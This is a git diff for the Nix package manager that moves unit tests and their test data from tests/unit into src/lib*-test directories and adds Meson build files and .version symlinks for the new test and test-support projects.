diff --git a/tests/unit/libexpr/nix_api_value.cc b/src/libexpr-test/nix_api_value.cc
similarity index 100%
rename from tests/unit/libexpr/nix_api_value.cc
rename to src/libexpr-test/nix_api_value.cc
diff --git a/tests/unit/libexpr/primops.cc b/src/libexpr-test/primops.cc
similarity index 100%
rename from tests/unit/libexpr/primops.cc
rename to src/libexpr-test/primops.cc
diff --git a/tests/unit/libexpr/search-path.cc b/src/libexpr-test/search-path.cc
similarity index 100%
rename from tests/unit/libexpr/search-path.cc
rename to src/libexpr-test/search-path.cc
diff --git a/tests/unit/libexpr/trivial.cc b/src/libexpr-test/trivial.cc
similarity index 100%
rename from tests/unit/libexpr/trivial.cc
rename to src/libexpr-test/trivial.cc
diff --git a/tests/unit/libexpr/value/context.cc b/src/libexpr-test/value/context.cc
similarity index 100%
rename from tests/unit/libexpr/value/context.cc
rename to src/libexpr-test/value/context.cc
diff --git a/tests/unit/libexpr/value/print.cc b/src/libexpr-test/value/print.cc
similarity index 100%
rename from tests/unit/libexpr/value/print.cc
rename to src/libexpr-test/value/print.cc
diff --git a/tests/unit/libexpr/value/value.cc b/src/libexpr-test/value/value.cc
similarity index 100%
rename from tests/unit/libexpr/value/value.cc
rename to src/libexpr-test/value/value.cc
diff --git a/src/libfetchers-test/.version b/src/libfetchers-test/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libfetchers-test/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/tests/unit/libfetchers/data/public-key/defaultType.json b/src/libfetchers-test/data/public-key/defaultType.json
similarity index 100%
rename from tests/unit/libfetchers/data/public-key/defaultType.json
rename to src/libfetchers-test/data/public-key/defaultType.json
diff --git a/tests/unit/libfetchers/data/public-key/noRoundTrip.json b/src/libfetchers-test/data/public-key/noRoundTrip.json
similarity index 100%
rename from tests/unit/libfetchers/data/public-key/noRoundTrip.json
rename to src/libfetchers-test/data/public-key/noRoundTrip.json
diff --git a/tests/unit/libfetchers/data/public-key/simple.json b/src/libfetchers-test/data/public-key/simple.json
similarity index 100%
rename from tests/unit/libfetchers/data/public-key/simple.json
rename to src/libfetchers-test/data/public-key/simple.json
diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build
new file mode 100644
index 00000000000..be031f592bf
--- /dev/null
+++ b/src/libfetchers-test/meson.build
@@ -0,0 +1,109 @@
+project('nix-fetchers-test', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_private_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-util-c'),
+  dependency('nix-util-test-support'),
+  dependency('nix-store'),
+  dependency('nix-store-c'),
+  dependency('nix-store-test-support'),
+  dependency('nix-fetchers'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_private_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_private += nix_dep
+  endif
+endforeach
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+rapidcheck = dependency('rapidcheck')
+deps_private += rapidcheck
+
+gtest = dependency('gtest', main : true)
+deps_private += gtest
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+  '-include', 'config-store.hh',
+  '-include', 'config-util.h',
+  '-include', 'config-store.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'public-key.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+
+this_exe = executable(
+  meson.project_name(),
+  sources,
+  dependencies : deps_private_subproject + deps_private + deps_other,
+  include_directories : include_dirs,
+  # TODO: -lrapidcheck, see ../libutil-support/build.meson
+  link_args: linker_export_flags + ['-lrapidcheck'],
+  # get main from gtest
+  install : true,
+)
+
+test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_exe,
+  compile_args : ['-std=c++2a'],
+))
diff --git a/tests/unit/libfetchers/public-key.cc b/src/libfetchers-test/public-key.cc
similarity index 100%
rename from tests/unit/libfetchers/public-key.cc
rename to src/libfetchers-test/public-key.cc
diff --git a/src/libflake-test/.version b/src/libflake-test/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libflake-test/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/tests/unit/libflake/flakeref.cc b/src/libflake-test/flakeref.cc
similarity index 100%
rename from tests/unit/libflake/flakeref.cc
rename to src/libflake-test/flakeref.cc
diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build
new file mode 100644
index 00000000000..a9df80885b4
--- /dev/null
+++ b/src/libflake-test/meson.build
@@ -0,0 +1,114 @@
+project('nix-flake-test', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_private_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-util-c'),
+  dependency('nix-util-test-support'),
+  dependency('nix-store'),
+  dependency('nix-store-c'),
+  dependency('nix-store-test-support'),
+  dependency('nix-expr'),
+  dependency('nix-expr-c'),
+  dependency('nix-expr-test-support'),
+  dependency('nix-flake'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_private_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_private += nix_dep
+  endif
+endforeach
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+rapidcheck = dependency('rapidcheck')
+deps_private += rapidcheck
+
+gtest = dependency('gtest', main : true)
+deps_private += gtest
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+  '-include', 'config-expr.hh',
+  '-include', 'config-util.h',
+  '-include', 'config-store.h',
+  '-include', 'config-expr.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'flakeref.cc',
+  'url-name.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+
+this_exe = executable(
+  meson.project_name(),
+  sources,
+  dependencies : deps_private_subproject + deps_private + deps_other,
+  include_directories : include_dirs,
+  # TODO: -lrapidcheck, see ../libutil-support/build.meson
+  link_args: linker_export_flags + ['-lrapidcheck'],
+  # get main from gtest
+  install : true,
+)
+
+test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_exe,
+  compile_args : ['-std=c++2a'],
+))
diff --git a/tests/unit/libflake/url-name.cc b/src/libflake-test/url-name.cc
similarity index 100%
rename from tests/unit/libflake/url-name.cc
rename to src/libflake-test/url-name.cc
diff --git a/src/libstore-test-support/.version b/src/libstore-test-support/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libstore-test-support/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build
new file mode 100644
index 00000000000..186d9b72aad
--- /dev/null
+++ b/src/libstore-test-support/meson.build
@@ -0,0 +1,130 @@
+project('nix-store-test-support', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-util-test-support'),
+  dependency('nix-store'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_public_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_public += nix_dep
+  endif
+endforeach
+
+rapidcheck = dependency('rapidcheck')
+deps_public += rapidcheck
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'tests/derived-path.cc',
+  'tests/outputs-spec.cc',
+  'tests/path.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+headers = files(
+  'tests/derived-path.hh',
+  'tests/libstore.hh',
+  'tests/nix_api_store.hh',
+  'tests/outputs-spec.hh',
+  'tests/path.hh',
+  'tests/protocol.hh',
+)
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+this_library = library(
+  'nix-store-test-support',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  include_directories : include_dirs,
+  # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326
+  #       is available. See also ../libutil/build.meson
+  link_args: linker_export_flags + ['-lrapidcheck'],
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+requires = []
+foreach dep : deps_public_subproject
+  requires += dep.name()
+endforeach
+requires += deps_public
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : requires,
+  requires_private : deps_private,
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : deps_public_subproject + deps_public,
+))
diff --git a/tests/unit/libstore-support/tests/derived-path.cc b/src/libstore-test-support/tests/derived-path.cc
similarity index 100%
rename from tests/unit/libstore-support/tests/derived-path.cc
rename to src/libstore-test-support/tests/derived-path.cc
diff --git a/tests/unit/libstore-support/tests/derived-path.hh b/src/libstore-test-support/tests/derived-path.hh
similarity index 100%
rename from tests/unit/libstore-support/tests/derived-path.hh
rename to src/libstore-test-support/tests/derived-path.hh
diff --git a/tests/unit/libstore-support/tests/libstore.hh b/src/libstore-test-support/tests/libstore.hh
similarity index 100%
rename from tests/unit/libstore-support/tests/libstore.hh
rename to src/libstore-test-support/tests/libstore.hh
diff --git a/tests/unit/libstore-support/tests/nix_api_store.hh b/src/libstore-test-support/tests/nix_api_store.hh
similarity index 100%
rename from tests/unit/libstore-support/tests/nix_api_store.hh
rename to src/libstore-test-support/tests/nix_api_store.hh
diff --git a/tests/unit/libstore-support/tests/outputs-spec.cc b/src/libstore-test-support/tests/outputs-spec.cc
similarity index 100%
rename from tests/unit/libstore-support/tests/outputs-spec.cc
rename to src/libstore-test-support/tests/outputs-spec.cc
diff --git a/tests/unit/libstore-support/tests/outputs-spec.hh b/src/libstore-test-support/tests/outputs-spec.hh
similarity index 100%
rename from tests/unit/libstore-support/tests/outputs-spec.hh
rename to src/libstore-test-support/tests/outputs-spec.hh
diff --git a/tests/unit/libstore-support/tests/path.cc b/src/libstore-test-support/tests/path.cc
similarity index 100%
rename from tests/unit/libstore-support/tests/path.cc
rename to src/libstore-test-support/tests/path.cc
diff --git a/tests/unit/libstore-support/tests/path.hh b/src/libstore-test-support/tests/path.hh
similarity index 100%
rename from tests/unit/libstore-support/tests/path.hh
rename to src/libstore-test-support/tests/path.hh
diff --git a/tests/unit/libstore-support/tests/protocol.hh b/src/libstore-test-support/tests/protocol.hh
similarity index 100%
rename from tests/unit/libstore-support/tests/protocol.hh
rename to src/libstore-test-support/tests/protocol.hh
diff --git a/src/libstore-test/.version b/src/libstore-test/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libstore-test/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/tests/unit/libstore/common-protocol.cc b/src/libstore-test/common-protocol.cc
similarity index 100%
rename from tests/unit/libstore/common-protocol.cc
rename to src/libstore-test/common-protocol.cc
diff --git a/tests/unit/libstore/content-address.cc b/src/libstore-test/content-address.cc
similarity index 100%
rename from tests/unit/libstore/content-address.cc
rename to src/libstore-test/content-address.cc
diff --git a/tests/unit/libstore/data/common-protocol/content-address.bin b/src/libstore-test/data/common-protocol/content-address.bin
similarity index 100%
rename from tests/unit/libstore/data/common-protocol/content-address.bin
rename to src/libstore-test/data/common-protocol/content-address.bin
diff --git a/tests/unit/libstore/data/common-protocol/drv-output.bin b/src/libstore-test/data/common-protocol/drv-output.bin
similarity index 100%
rename from tests/unit/libstore/data/common-protocol/drv-output.bin
rename to src/libstore-test/data/common-protocol/drv-output.bin
diff --git a/tests/unit/libstore/data/common-protocol/optional-content-address.bin b/src/libstore-test/data/common-protocol/optional-content-address.bin
similarity index 100%
rename from tests/unit/libstore/data/common-protocol/optional-content-address.bin
rename to src/libstore-test/data/common-protocol/optional-content-address.bin
diff --git a/tests/unit/libstore/data/common-protocol/optional-store-path.bin b/src/libstore-test/data/common-protocol/optional-store-path.bin
similarity index 100%
rename from tests/unit/libstore/data/common-protocol/optional-store-path.bin
rename to src/libstore-test/data/common-protocol/optional-store-path.bin
diff --git a/tests/unit/libstore/data/common-protocol/realisation.bin b/src/libstore-test/data/common-protocol/realisation.bin
similarity index 100%
rename from tests/unit/libstore/data/common-protocol/realisation.bin
rename to src/libstore-test/data/common-protocol/realisation.bin
diff --git a/tests/unit/libstore/data/common-protocol/set.bin b/src/libstore-test/data/common-protocol/set.bin
similarity index 100%
rename from tests/unit/libstore/data/common-protocol/set.bin
rename to src/libstore-test/data/common-protocol/set.bin
diff --git a/tests/unit/libstore/data/common-protocol/store-path.bin b/src/libstore-test/data/common-protocol/store-path.bin
similarity index 100%
rename from tests/unit/libstore/data/common-protocol/store-path.bin
rename to src/libstore-test/data/common-protocol/store-path.bin
diff --git a/tests/unit/libstore/data/common-protocol/string.bin b/src/libstore-test/data/common-protocol/string.bin
similarity index 100%
rename from tests/unit/libstore/data/common-protocol/string.bin
rename to src/libstore-test/data/common-protocol/string.bin
diff --git a/tests/unit/libstore/data/common-protocol/vector.bin b/src/libstore-test/data/common-protocol/vector.bin
similarity index 100%
rename from tests/unit/libstore/data/common-protocol/vector.bin
rename to src/libstore-test/data/common-protocol/vector.bin
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv b/src/libstore-test/data/derivation/advanced-attributes-defaults.drv
similarity index 100%
rename from tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv
rename to src/libstore-test/data/derivation/advanced-attributes-defaults.drv
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json b/src/libstore-test/data/derivation/advanced-attributes-defaults.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/advanced-attributes-defaults.json
rename to src/libstore-test/data/derivation/advanced-attributes-defaults.json
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.drv
similarity index 100%
rename from tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv
rename to src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.drv
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json b/src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json
rename to src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.json
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv b/src/libstore-test/data/derivation/advanced-attributes-structured-attrs.drv
similarity index 100%
rename from tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv
rename to src/libstore-test/data/derivation/advanced-attributes-structured-attrs.drv
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json b/src/libstore-test/data/derivation/advanced-attributes-structured-attrs.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json
rename to src/libstore-test/data/derivation/advanced-attributes-structured-attrs.json
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes.drv b/src/libstore-test/data/derivation/advanced-attributes.drv
similarity index 100%
rename from tests/unit/libstore/data/derivation/advanced-attributes.drv
rename to src/libstore-test/data/derivation/advanced-attributes.drv
diff --git a/tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv b/src/libstore-test/data/derivation/bad-old-version-dyn-deps.drv
similarity index 100%
rename from tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv
rename to src/libstore-test/data/derivation/bad-old-version-dyn-deps.drv
diff --git a/tests/unit/libstore/data/derivation/bad-version.drv b/src/libstore-test/data/derivation/bad-version.drv
similarity index 100%
rename from tests/unit/libstore/data/derivation/bad-version.drv
rename to src/libstore-test/data/derivation/bad-version.drv
diff --git a/tests/unit/libstore/data/derivation/dynDerivationDeps.drv b/src/libstore-test/data/derivation/dynDerivationDeps.drv
similarity index 100%
rename from tests/unit/libstore/data/derivation/dynDerivationDeps.drv
rename to src/libstore-test/data/derivation/dynDerivationDeps.drv
diff --git a/tests/unit/libstore/data/derivation/dynDerivationDeps.json b/src/libstore-test/data/derivation/dynDerivationDeps.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/dynDerivationDeps.json
rename to src/libstore-test/data/derivation/dynDerivationDeps.json
diff --git a/tests/unit/libstore/data/derivation/output-caFixedFlat.json b/src/libstore-test/data/derivation/output-caFixedFlat.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/output-caFixedFlat.json
rename to src/libstore-test/data/derivation/output-caFixedFlat.json
diff --git a/tests/unit/libstore/data/derivation/output-caFixedNAR.json b/src/libstore-test/data/derivation/output-caFixedNAR.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/output-caFixedNAR.json
rename to src/libstore-test/data/derivation/output-caFixedNAR.json
diff --git a/tests/unit/libstore/data/derivation/output-caFixedText.json b/src/libstore-test/data/derivation/output-caFixedText.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/output-caFixedText.json
rename to src/libstore-test/data/derivation/output-caFixedText.json
diff --git a/tests/unit/libstore/data/derivation/output-caFloating.json b/src/libstore-test/data/derivation/output-caFloating.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/output-caFloating.json
rename to src/libstore-test/data/derivation/output-caFloating.json
diff --git a/tests/unit/libstore/data/derivation/output-deferred.json b/src/libstore-test/data/derivation/output-deferred.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/output-deferred.json
rename to src/libstore-test/data/derivation/output-deferred.json
diff --git a/tests/unit/libstore/data/derivation/output-impure.json b/src/libstore-test/data/derivation/output-impure.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/output-impure.json
rename to src/libstore-test/data/derivation/output-impure.json
diff --git a/tests/unit/libstore/data/derivation/output-inputAddressed.json b/src/libstore-test/data/derivation/output-inputAddressed.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/output-inputAddressed.json
rename to src/libstore-test/data/derivation/output-inputAddressed.json
diff --git a/tests/unit/libstore/data/derivation/simple.drv b/src/libstore-test/data/derivation/simple.drv
similarity index 100%
rename from tests/unit/libstore/data/derivation/simple.drv
rename to src/libstore-test/data/derivation/simple.drv
diff --git a/tests/unit/libstore/data/derivation/simple.json b/src/libstore-test/data/derivation/simple.json
similarity index 100%
rename from tests/unit/libstore/data/derivation/simple.json
rename to src/libstore-test/data/derivation/simple.json
diff --git a/tests/unit/libstore/data/machines/bad_format b/src/libstore-test/data/machines/bad_format
similarity index 100%
rename from tests/unit/libstore/data/machines/bad_format
rename to src/libstore-test/data/machines/bad_format
diff --git a/tests/unit/libstore/data/machines/valid b/src/libstore-test/data/machines/valid
similarity index 100%
rename from tests/unit/libstore/data/machines/valid
rename to src/libstore-test/data/machines/valid
diff --git a/tests/unit/libstore/data/nar-info/impure.json b/src/libstore-test/data/nar-info/impure.json
similarity index 100%
rename from tests/unit/libstore/data/nar-info/impure.json
rename to src/libstore-test/data/nar-info/impure.json
diff --git a/tests/unit/libstore/data/nar-info/pure.json b/src/libstore-test/data/nar-info/pure.json
similarity index 100%
rename from tests/unit/libstore/data/nar-info/pure.json
rename to src/libstore-test/data/nar-info/pure.json
diff --git a/tests/unit/libstore/data/path-info/empty_impure.json b/src/libstore-test/data/path-info/empty_impure.json
similarity index 100%
rename from tests/unit/libstore/data/path-info/empty_impure.json
rename to src/libstore-test/data/path-info/empty_impure.json
diff --git a/tests/unit/libstore/data/path-info/empty_pure.json b/src/libstore-test/data/path-info/empty_pure.json
similarity index 100%
rename from tests/unit/libstore/data/path-info/empty_pure.json
rename to src/libstore-test/data/path-info/empty_pure.json
diff --git a/tests/unit/libstore/data/path-info/impure.json b/src/libstore-test/data/path-info/impure.json
similarity index 100%
rename from tests/unit/libstore/data/path-info/impure.json
rename to src/libstore-test/data/path-info/impure.json
diff --git a/tests/unit/libstore/data/path-info/pure.json b/src/libstore-test/data/path-info/pure.json
similarity index 100%
rename from tests/unit/libstore/data/path-info/pure.json
rename to src/libstore-test/data/path-info/pure.json
diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.1.bin b/src/libstore-test/data/serve-protocol/build-options-2.1.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/build-options-2.1.bin
rename to src/libstore-test/data/serve-protocol/build-options-2.1.bin
diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.2.bin b/src/libstore-test/data/serve-protocol/build-options-2.2.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/build-options-2.2.bin
rename to src/libstore-test/data/serve-protocol/build-options-2.2.bin
diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.3.bin b/src/libstore-test/data/serve-protocol/build-options-2.3.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/build-options-2.3.bin
rename to src/libstore-test/data/serve-protocol/build-options-2.3.bin
diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.7.bin b/src/libstore-test/data/serve-protocol/build-options-2.7.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/build-options-2.7.bin
rename to src/libstore-test/data/serve-protocol/build-options-2.7.bin
diff --git a/tests/unit/libstore/data/serve-protocol/build-result-2.2.bin b/src/libstore-test/data/serve-protocol/build-result-2.2.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/build-result-2.2.bin
rename to src/libstore-test/data/serve-protocol/build-result-2.2.bin
diff --git a/tests/unit/libstore/data/serve-protocol/build-result-2.3.bin b/src/libstore-test/data/serve-protocol/build-result-2.3.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/build-result-2.3.bin
rename to src/libstore-test/data/serve-protocol/build-result-2.3.bin
diff --git a/tests/unit/libstore/data/serve-protocol/build-result-2.6.bin b/src/libstore-test/data/serve-protocol/build-result-2.6.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/build-result-2.6.bin
rename to src/libstore-test/data/serve-protocol/build-result-2.6.bin
diff --git a/tests/unit/libstore/data/serve-protocol/content-address.bin b/src/libstore-test/data/serve-protocol/content-address.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/content-address.bin
rename to src/libstore-test/data/serve-protocol/content-address.bin
diff --git a/tests/unit/libstore/data/serve-protocol/drv-output.bin b/src/libstore-test/data/serve-protocol/drv-output.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/drv-output.bin
rename to src/libstore-test/data/serve-protocol/drv-output.bin
diff --git a/tests/unit/libstore/data/serve-protocol/handshake-to-client.bin b/src/libstore-test/data/serve-protocol/handshake-to-client.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/handshake-to-client.bin
rename to src/libstore-test/data/serve-protocol/handshake-to-client.bin
diff --git a/tests/unit/libstore/data/serve-protocol/optional-content-address.bin b/src/libstore-test/data/serve-protocol/optional-content-address.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/optional-content-address.bin
rename to src/libstore-test/data/serve-protocol/optional-content-address.bin
diff --git a/tests/unit/libstore/data/serve-protocol/optional-store-path.bin b/src/libstore-test/data/serve-protocol/optional-store-path.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/optional-store-path.bin
rename to src/libstore-test/data/serve-protocol/optional-store-path.bin
diff --git a/tests/unit/libstore/data/serve-protocol/realisation.bin b/src/libstore-test/data/serve-protocol/realisation.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/realisation.bin
rename to src/libstore-test/data/serve-protocol/realisation.bin
diff --git a/tests/unit/libstore/data/serve-protocol/set.bin b/src/libstore-test/data/serve-protocol/set.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/set.bin
rename to src/libstore-test/data/serve-protocol/set.bin
diff --git a/tests/unit/libstore/data/serve-protocol/store-path.bin b/src/libstore-test/data/serve-protocol/store-path.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/store-path.bin
rename to src/libstore-test/data/serve-protocol/store-path.bin
diff --git a/tests/unit/libstore/data/serve-protocol/string.bin b/src/libstore-test/data/serve-protocol/string.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/string.bin
rename to src/libstore-test/data/serve-protocol/string.bin
diff --git a/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin b/src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.3.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin
rename to src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.3.bin
diff --git a/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin b/src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.4.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin
rename to src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.4.bin
